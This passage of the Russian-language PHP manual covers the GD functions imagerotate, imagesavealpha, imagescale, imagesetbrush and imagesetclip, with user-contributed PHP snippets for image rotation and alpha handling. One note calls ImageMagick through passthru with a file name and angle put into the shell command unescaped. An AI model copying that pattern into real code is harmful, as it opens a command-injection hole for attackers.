     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 05:23
Shortly after posting I was informed about a very nice algorithm for calculating the new pixel position for a rotation and thought it would be a nice improvement. Hopes this helps anyone needing a full implementation.

Note: I tested the function on a 3Mb photo and it seemed to work perfectly with no quality loss.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 07:33
Thanks to the people who contributed the code for the 90 180 and 270 rotations. I needed a full implementation however so I wrote one. By no mean do I think this is the best way of doing it, I just whipped this together for myself. Seems to work good for me.

Note: I didn't want the image to be shrunk when rotating so this implementation will keep the size of the original image but just rotate it.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $theta1 = 0;
                $noTranslate = false;

                // Determine the angle of original point
                if($x1 > 0 && $y1 > 0) {
                    // Quadrant 1
                    $theta1 = atan($y1/$x1);
                } elseif($x1 < 0 && $y1 > 0) {
                    // Quadrant 2
                    $theta1 = $pi - atan($y1/abs($x1));
                } elseif($x1 < 0 && $y1 < 0) {
                    // Quadrant 3
                    $theta1 = $pi + atan($y1/$x1);
                } elseif($x1 > 0 && $y1 < 0) {
                    // Quadrant 4
                    $theta1 = 2 * $pi - atan(abs($y1)/$x1);
                } elseif($x1 == 0 && $y1 > 0) {
                    $theta1 = $pi / 2;
                } elseif($x1 == 0 && $y1 < 0) {
                    $theta1 = 3 * $pi / 2;
                } elseif($x1 > 0 && $y1 == 0) {
                    $theta1 = 0;
                } elseif($x1 < 0 && $y1 == 0) {
                    $theta1 = $pi;
                } else {
                    // Only case left should be $x1 == 0 && $y1 == 0
                    $noTranslate = true;
                }

                // Translate the position
                if(!$noTranslate) {
                    // Calculate the new angle
                    $theta2 = $theta1 + $theta;

                    // Make sure theta2 is in between 0 - 2pi
                    while($theta2 < 0) $theta2 += 2 * $pi;
                    while($theta2 > (2 * $pi)) $theta2 -= 2 * $pi;

                    $radius = sqrt($x1*$x1 + $y1*$y1);

                    $x2 = ($radius * cos($theta2));
                    $y2 = ($radius * sin($theta2));
                } else {
                    $x2 = $x1;
                    $y2 = $y1;
                }

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
achilles 31-Mar-2008 02:02
otimized integration from 23-Feb-2007 04:21
just put it anywhere you like to use imagerotate with 90, 180, 270 degrees.
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($src_img, $angle) {
        $src_x = imagesx($src_img);
        $src_y = imagesy($src_img);
        if ($angle == 180) {
            $dest_x = $src_x;
            $dest_y = $src_y; }
        elseif ($src_x <= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }
        elseif ($src_x >= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }

        $rotate=imagecreatetruecolor($dest_x,$dest_y);
        imagealphablending($rotate, false);

        switch ($angle) {
            case 270:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $y - 1, $x, $color); }}
                break;
            case 90:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $y, $dest_y - $x - 1, $color); }}
                break;
            case 180:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color); }}
                break;
            default: $rotate = $src_img; }
        return $rotate; }}
?>
qrgames at NOSPAMTYrushyo dot com 11-Aug-2007 04:06
imagerotate seems to be very fussy about handling transparency when copymerging onto another image. You can use the GD library's other transparency features to cover up the fact imagerotate gets it wrong HOWEVER it will only work if the top-left corner of the image is transparent at all rotations, so make the image a little bigger than it needs to be. This has been tested with png32 but does not work entirely for png8, as a phenomena creates noise around the rotated image.

<?php

$imgImage = imagecreatefrompng("image.png");
$colBlack = imagecolorallocate($imgImage, 0, 0, 0);
$imgImage = imagerotate($imgImage, 360 - $intHeading, 0);
imagefill($imgImage, 0, 0, $colBlack);
imagecolortransparent($imgImage, $colBlack);
imagecopymerge($imgOriginalImage , $imgImage, $intX, $intY, 0, 0, $intHeight, $intWidth, 100);
imagedestroy($imgImage);

?>

Note. $intHeading is in degrees clockwise :)
Thomaschaaf 23-Feb-2007 07:21
<?php
function rotate($degrees)
    {
        if(function_exists("imagerotate"))
            $this->image = imagerotate($this->image, $degrees, 0);
        else
        {
            function imagerotate($src_img, $angle)
            {
                $src_x = imagesx($src_img);
                $src_y = imagesy($src_img);
                if ($angle == 180)
                {
                    $dest_x = $src_x;
                    $dest_y = $src_y;
                }
                elseif ($src_x <= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }
                elseif ($src_x >= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }

                $rotate=imagecreatetruecolor($dest_x,$dest_y);
                imagealphablending($rotate, false);

                switch ($angle)
                {
                    case 270:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $y - 1, $x, $color);
                            }
                        }
                        break;
                    case 90:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $y, $dest_y - $x - 1, $color);
                            }
                        }
                        break;
                    case 180:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color);
                            }
                        }
                        break;
                    default: $rotate = $src_img;
                };
                return $rotate;
            }
            $this->image = imagerotate($this->image, $degrees);
        }
    }
?>
m dot quinton at gmail dot com 14-Sep-2006 09:30
with large file, where imagerotate is missing, you can use, when possible "convert" command from ImageMagick. Here is a sample script.

<?php

error_reporting(E_ALL);

header("Content-type: image/png");

$file = 'images/test/imgp2498.jpg';

image_rotate_with_convert($file, 90);

function image_rotate_with_convert($file, $angle){
    passthru("convert -rotate $angle $file -");
}

?>
simon_nuttall at hotmail dot com 27-Sep-2005 10:06
The following is potentially useful. It extracts the central largest circle of an image into a square of specified size, and optionally rotates it. The rest of the square is made transparent, so useful for drawing over other images. I've named it after binocular effect because on some old TV shows whenever they show someone looking through binoculars the screen shows a big circular image with black edges.

<?php

function image_binocular_effect($src, $bearing, $out_square) {
 // the source image is resampled to fit within the specified square, and rotated clockwise by bearing.
 // the largest circle within the image is retained, the rest made transparent.
 $out = imagecreatetruecolor($out_square, $out_square);
 $width=imagesx($src);
 $height=imagesy($src);
 $square=min($width, $height);
 imagecopyresampled($out, $src, 0, 0, ($width - $square)/2 , ($height - $square)/2, $out_square, $out_square, $square, $square);

 $mask = imagecreatetruecolor($out_square, $out_square);
 $black = ImageColorAllocate ($mask, 0, 0, 0);
 $white = ImageColorAllocate ($mask, 255, 255, 255);
 imagefilledrectangle($mask , 0, 0, $out_square, $out_square, $white);
 $centrexy=$out_square / 2;
 imagefilledellipse($mask, $centrexy, $centrexy, $out_square, $out_square, $black);
 ImageColorTransparent($mask, $black);
 imagecopymerge($out, $mask,  0, 0, 0, 0, $out_square, $out_square, 100);
 if ($bearing != 0) {
  $rotated_img=imagerotate($out , 360-$bearing, $white);
  // take off only the rotated width
  $rotated_map_width = imagesx($rotated_img);
  $rotated_map_height = imagesy($rotated_img);
  imagecopy($out, $rotated_img, 0, 0, ($rotated_map_width - $out_square) / 2, ($rotated_map_height - $out_square) / 2, $out_square, $out_square);
  }
 ImageColorTransparent($out, $white);
 return $out;
}

// Create a sample image to demonstrate the effect, but looks much better on real photos.

$src = imagecreatetruecolor(200, 50);
imagefilledrectangle($src, 0, 0, 200, 50, imagecolorallocate($src, 255, 255, 255));
ImageString($src, 3, 10, 10, "This is a sample image to illustrate the binocular effect", imagecolorallocate($im, 192, 0, 0));
$img=image_binocular_effect($src, 72, 50);
ImagePNG($img,"test.png");

?>
wulff at fyens dot dk 01-Mar-2005 01:22
I liked the rotateImageBicubic function implemented by darren at lucidtone dot com. But it just snipped off the parts of the image that were outside the original image.

I fixed this, even though I admit that my solution is a bit naive. But it might come in handy for somebody.

Also his bicubic implementation was broken on my machine so I left it out, if you need it just copy and paste it from above.

<?php

// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotate($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   $corners=array(array(0,0), array($src_x,0), array($src_x,$src_y), array(0,$src_y));

   foreach($corners as $key=>$value) {
     $value[0]-=$center_x;        //Translate coords to center for rotation
     $value[1]-=$center_y;
     $temp=array();
     $temp[0]=$value[0]*$cosangle+$value[1]*$sinangle;
     $temp[1]=$value[1]*$cosangle-$value[0]*$sinangle;
     $corners[$key]=$temp;
   }

   $min_x=1000000000000000;
   $max_x=-1000000000000000;
   $min_y=1000000000000000;
   $max_y=-1000000000000000;

   foreach($corners as $key => $value) {
     if($value[0]<$min_x)
       $min_x=$value[0];
     if($value[0]>$max_x)
       $max_x=$value[0];

     if($value[1]<$min_y)
       $min_y=$value[1];
     if($value[1]>$max_y)
       $max_y=$value[1];
   }

   $rotate_width=round($max_x-$min_x);
   $rotate_height=round($max_y-$min_y);

   $rotate=imagecreatetruecolor($rotate_width,$rotate_height);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   //Reset center to center of our image
   $newcenter_x = ($rotate_width)/2;
   $newcenter_y = ($rotate_height)/2;

   for ($y = 0; $y < ($rotate_height); $y++) {
     for ($x = 0; $x < ($rotate_width); $x++) {
       // rotate...
       $old_x = round((($newcenter_x-$x) * $cosangle + ($newcenter_y-$y) * $sinangle))
         + $center_x;
       $old_y = round((($newcenter_y-$y) * $cosangle - ($newcenter_x-$x) * $sinangle))
         + $center_y;

       if ( $old_x >= 0 && $old_x < $src_x
             && $old_y >= 0 && $old_y < $src_y ) {

           $color = imagecolorat($src_img, $old_x, $old_y);
       } else {
         // this line sets the background colour
         $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
       }
       imagesetpixel($rotate, $x, $y, $color);
     }
   }

  return($rotate);
}

?>
Borszczuk 05-Jan-2005 05:21
Here's a function that implements right angle (multiplicity of 90 degs - 90, 180, 270) rotation if you need one but lacks native imagerotate() or you don't want non-square images to be scaled down as with imagerotate(). As you probably noticed it's not self contained function, as 180 rotation is handled by ImageFlip() function to gain the performance. The ImageFlip() function used is published here: http://php.net/imagecopy in the comment of mine placed on  05-Jan-2005 04:30

Please note: that in case of 0 degrees rotation handle to imgSrc is returned which may lead to problems if you imagedestroy() it undonditionaly. To solve that you shall add imagecopy($imgDest, $imgSrc, 0,0, 0,0,$srcX, $srcY)  in proper place which I have intentionally ommited to save memory resources

<?php

// $imgSrc - GD image handle of source image
// $angle - angle of rotation. Needs to be positive integer
// angle shall be 0,90,180,270, but if you give other it
// will be rouned to nearest right angle (i.e. 52->90 degs,
// 96->90 degs)
// returns GD image handle of rotated image.
function ImageRotateRightAngle( $imgSrc, $angle )
{
    // ensuring we got really RightAngle (if not we choose the closest one)
    $angle = min( ( (int)(($angle+45) / 90) * 90), 270 );

    // no need to fight
    if( $angle == 0 )
        return( $imgSrc );

    // dimenstion of source image
    $srcX = imagesx( $imgSrc );
    $srcY = imagesy( $imgSrc );

    switch( $angle )
        {
        case 90:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $srcY-$y-1, $x, $x, $y, 1, 1);
            break;

        case 180:
            $imgDest = ImageFlip( $imgSrc, IMAGE_FLIP_BOTH );
            break;

        case 270:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $y, $srcX-$x-1, $x, $y, 1, 1);
            break;
        }

    return( $imgDest );
}
?>
darren at lucidtone dot com 07-Dec-2004 08:43
Here's a neat function for those of us who don't have imagerotate() on our servers.  It's based on a comment from ron at korving dot demon dot nl on the manual page for imagecopyresampled.

I'm still not 100% on coping with transparency, but this function seems to cope okay.  It doesn't resize to fit within bounds, it just rotates and you lose anything outside the image box.

The bicubic mode is slooow.

If you want to be able to change the background colour, pass in a colour and use it where indicated.  The line I used just sets it transparent.

<?php
// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotateBicubic($src_img, $angle, $bicubic=false) {

    // convert degrees to radians
    $angle = $angle + 180;
    $angle = deg2rad($angle);

    $src_x = imagesx($src_img);
    $src_y = imagesy($src_img);

    $center_x = floor($src_x/2);
    $center_y = floor($src_y/2);

    $rotate = imagecreatetruecolor($src_x, $src_y);
    imagealphablending($rotate, false);
    imagesavealpha($rotate, true);

    $cosangle = cos($angle);
    $sinangle = sin($angle);

    for ($y = 0; $y < $src_y; $y++) {
      for ($x = 0; $x < $src_x; $x++) {
    // rotate...
    $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle)
      + $center_x;
    $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle)
      + $center_y;

    if ( $old_x >= 0 && $old_x < $src_x
         && $old_y >= 0 && $old_y < $src_y ) {
      if ($bicubic == true) {
        $sY  = $old_y + 1;
        $siY  = $old_y;
        $siY2 = $old_y - 1;
        $sX  = $old_x + 1;
        $siX  = $old_x;
        $siX2 = $old_x - 1;

        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;
        $a = ($c1['alpha']  + $c2['alpha']  + $c3['alpha']  + $c4['alpha'] ) >> 2;
        $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a);
      } else {
        $color = imagecolorat($src_img, $old_x, $old_y);
      }
    } else {
          // this line sets the background colour
      $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
    }
    imagesetpixel($rotate, $x, $y, $color);
      }
    }
    return $rotate;
}
?>
jon at driestone dot com 07-Oct-2004 08:42
imagerotate does not preserve the alpha channel, so if you want to rotate a PNG you need to get
creative. I don't see any command to retrieve the alpha information from an image (as far as
I could see,) so you'll have to do a bit of manual labor before hand. In my case I created a
second PNG file with the alpha saved as RGB data and manually "copied" the data from source
to destination:

<?php
    function alpha_rotate($dst,$src,$rotate,$offsetX,$offsetY){

        $top = imagecreatefrompng("image_processing/shadow.png");
        $top_alpha = imagecreatefrompng("image_processing/shadow_alpha.png");

        imagecopyresampled($top,$src,0,0,0,0,100,100,100,100);

        $top = imagerotate($top,$rotate,0x000000);
        $top_alpha = imagerotate($top_alpha,$rotate,0x000000);

        for ($theX=0;$theX<imagesx($top);$theX++){
            for ($theY=0;$theY<imagesy($top);$theY++){

                $rgb = imagecolorat($top,$theX,$theY);
                $r = ($rgb >> 16) & 0xFF;
                $g = ($rgb >> 8) & 0xFF;
                $b = $rgb & 0xFF;

                $rgb = imagecolorat($top_alpha,$theX,$theY);
                $a = $rgb & 0xFF;
                $a = 127-floor($a/2);

                $myColor = imagecolorallocatealpha($top,$r,$g,$b,$a);
                imagesetpixel($dst,($theX+$offsetX),($theY+$offsetY),$myColor);
            }
        }
    }
?>


Сохранять ли полную информацию альфа-канала при сохранении изображений

  • « imagerotate
  • imagescale »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Сохранять ли полную информацию альфа-канала при сохранении изображений

imagesavealpha

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imagesavealpha — Сохранять ли полную информацию альфа-канала при сохранении изображений

Описание

imagesavealpha(GdImage $image, bool $enable): bool

imagesavealpha() устанавливает флаг, определяющий, будет ли сохраняться полная информация альфа-канала (в противовес одноцветной прозрачности) и сохраняет изображение. Поддерживается только для форматов изображений, которые содержат полную информацию об альфа-канале, т.е. PNG, WebP и AVIF.

Замечание: Функция imagesavealpha() имеет смысл только для изображений PNG, поскольку для WebP и AVIF всегда сохраняется полный альфа-канал. Не рекомендуется полагаться на это поведение, так как оно может измениться в будущем. Таким образом, функцию imagesavealpha() следует вызывать намеренно также для изображений WebP и AVIF.

Альфа-смешивание должно быть отключено (imagealphablending($im, false)), чтобы альфа-канал сохранялся в первую очередь.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

enable

Требуется ли сохранять альфа канал или нет. По умолчанию false.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagesavealpha()

<?php
// Загрузка png изображения с альфа каналом
$png = imagecreatefrompng('./alphachannel_example.png');

// Выключение альфа-смешения
imagealphablending($png, false);

// Какие-то операции

// Установка альфа-флага
imagesavealpha($png, true);

// Вывод изображения и очистка памяти
header('Content-Type: image/png');

imagepng($png);
imagedestroy($png);
?>

Смотрите также

  • imagealphablending() - Задание режима сопряжения цветов для изображения

User Contributed Notes

ray hatfield 23-Feb-2011 11:01
After much trial and error and gnashing of teeth I finally figured out how to composite a png with an 8-bit alpha onto a jpg. This was not obvious to me so I thought I'd share. Hope it helps.

I'm using this to create a framed thumbnail image:

<?php
// load the frame image (png with 8-bit transparency)
$frame = imagecreatefrompng('path/to/frame.png');

// load the thumbnail image
$thumb = imagecreatefromjpeg('path/to/thumbnail.jpg');

// get the dimensions of the frame, which we'll also be using for the
// composited final image.
$width = imagesx( $frame );
$height = imagesy( $frame );

// create the destination/output image.
$img=imagecreatetruecolor( $width, $height );

// enable alpha blending on the destination image.
imagealphablending($img, true);

// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead of being transparent.
$transparent = imagecolorallocatealpha( $img, 0, 0, 0, 127 );
imagefill( $img, 0, 0, $transparent );

// copy the thumbnail into the output image.
imagecopyresampled($img,$thumb,32,30,0,0, 130, 100, imagesx( $thumb ), imagesy( $thumb ) );

// copy the frame into the output image (layered on top of the thumbnail)
imagecopyresampled($img,$frame,0,0,0,0, $width,$height,$width,$height);

imagealphablending($img, false);

// save the alpha
imagesavealpha($img,true);

// emit the image
header('Content-type: image/png');
imagepng( $img );

// dispose
imagedestroy($img);

// done.
exit;
?>
phil at unabacus dot net 23-Apr-2008 06:47
The comment left by "doggz at mindless dot com" will cause a duplication in layering of the transparent image - AlphaImageLoader loads the image as if it were a floating layer on top of the <img> element - so your image will double up.. so don't go thinking something very strange is happening with your PHP it's the silly browser ;)

The easiest (although not the best) way to get around this is to use the CSS background property instead of an image src - because as of yet you can't change an image's src dynamically using currently supported CSS:

<div style="width:200px; height:200px; background: url(my-trans-image.php); *background:url(); *filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='my-trans-image.php', sizingMethod='scale');"></div>

The above (although not pretty) keeps the image loaded as a background for any good browser as they should ignore the starred (*) CSS items and should support Alpha PNGs natively. IE will listen to the starred items and blank out the background whilst applying it's AlphaLoader on top. Obviously you need to know the width and height of your image but you can get this using getimagesize() or just by hardcoding.

Downsides to know:

1. Unless the user has 'backgrounds enabled when printing' your image wont show up when the webpage is printed.

2. You can't stretch or shrink a background image - if you change the div's dimensions from that of the image you will stretch it in IE (due to the 'scale' property - which you can change for sake of standardness to 'crop') but you will crop it in any other browser.

3. Most browsers treat images and backgrounds differently, in load priority and in the way the user can interact with them.

Other Options:

Other methods resort to using JavaScript or Browser Detection on the Server Side.


Масштабировать изображение по заданной ширине и высоте

  • « imagesavealpha
  • imagesetbrush »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Масштабировать изображение по заданной ширине и высоте

imagescale

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagescale — Масштабировать изображение по заданной ширине и высоте

Описание

imagescale(
GdImage $image,
int $width,
int $height = -1,
int $mode = IMG_BILINEAR_FIXED
): GdImage|false

imagescale() масштабирует изображение, используя заданный алгоритм интерполяции.

Замечание:

В отличие от многих функций по работе с изображениями, imagescale() не изменяет переданный параметр image; вместо него будет возвращено новое изображение.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

width

Ширина для масштабирования.

height

Высота для масштабирования изображения. Если этот параметр опущен или отрицателен, соотношение сторон будет сохранено.

mode

Одна из констант IMG_NEAREST_NEIGHBOUR, IMG_BILINEAR_FIXED, IMG_BICUBIC, IMG_BICUBIC_FIXED или что-либо ещё (будет использовано два прохода).

Замечание: IMG_WEIGHTED4 пока ещё не поддерживается.

Возвращаемые значения

Возвращает объект масштабированного изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Смотрите также

  • imagecopyresized() - Копирование и изменение размера части изображения
  • imagecopyresampled() - Копирование и изменение размера изображения с ресемплированием

User Contributed Notes

Anonymous 30-Mar-2023 02:15
Seemingly, you can't omit the width the same way you do with the height. If you write -1 for the width and specify a number for the height it will return false


Установка изображения (кисти), посредством которого будут рисоваться линии

  • « imagescale
  • imagesetclip »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установка изображения (кисти), посредством которого будут рисоваться линии

imagesetbrush

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetbrush — Установка изображения (кисти), посредством которого будут рисоваться линии

Описание

imagesetbrush(GdImage $image, GdImage $brush): bool

imagesetbrush() задаёт изображение, которое будет использоваться функциями для рисования линий (такими как imageline() и imagepolygon()) при использовании цветов IMG_COLOR_BRUSHED или IMG_COLOR_STYLEDBRUSHED.

Предостережение

Дополнительных действий после завершения работы с кистью не требуется, однако если изображение кисти уничтожено, нельзя пользоваться цветами IMG_COLOR_BRUSHED или IMG_COLOR_STYLEDBRUSHED, пока не будет установлено новое изображение кисти!

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

brush

Объект изображения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image и brush теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования imagesetbrush()

<?php
// Загрузка минилоготипа php
$php = imagecreatefrompng('./php.png');

// Создание основного изображения 100x100
$im = imagecreatetruecolor(100, 100);

// Заливка фона белым цветом
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Установка кисти
imagesetbrush($im, $php);

// Рисование линии из изображений кисти
imageline($im, 50, 50, 50, 60, IMG_COLOR_BRUSHED);

// Вывод и очистка памяти
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($php);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagesetbrush()

User Contributed Notes

brent at ebrent dot net 31-Jul-2006 10:54
Use a brush to create a thick line.

To create a 3x3 red brush:

<?php
$brush_size = 3;
$brush = imagecreatetruecolor($brush_size,$brush_size);
$brush_color = imagecolorallocate($brush,255,0,0);
imagefill($brush,0,0,$brush_color);
imagesetbrush($im,$brush);
?>

Then use imageline() or imagepolygon() with IMG_COLOR_BRUSHED as the color.

To stop using the brush, destroy it:

<?php imagedestroy($brush); ?>

The brush can also be created from an existing image.


Установите прямоугольник ограничения

  • « imagesetbrush
  • imagesetinterpolation »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установите прямоугольник ограничения

imagesetclip

(PHP 7 >= 7.2.0, PHP 8)

imagesetclip — Установите прямоугольник ограничения

Описание

imagesetclip(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2
): bool

imagesetclip() задаёт текущий прямоугольник ограничения, т.е. область, за пределами которой не будут отрисовываться пиксели.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x1

Координата по x верхнего левого угла.

y1

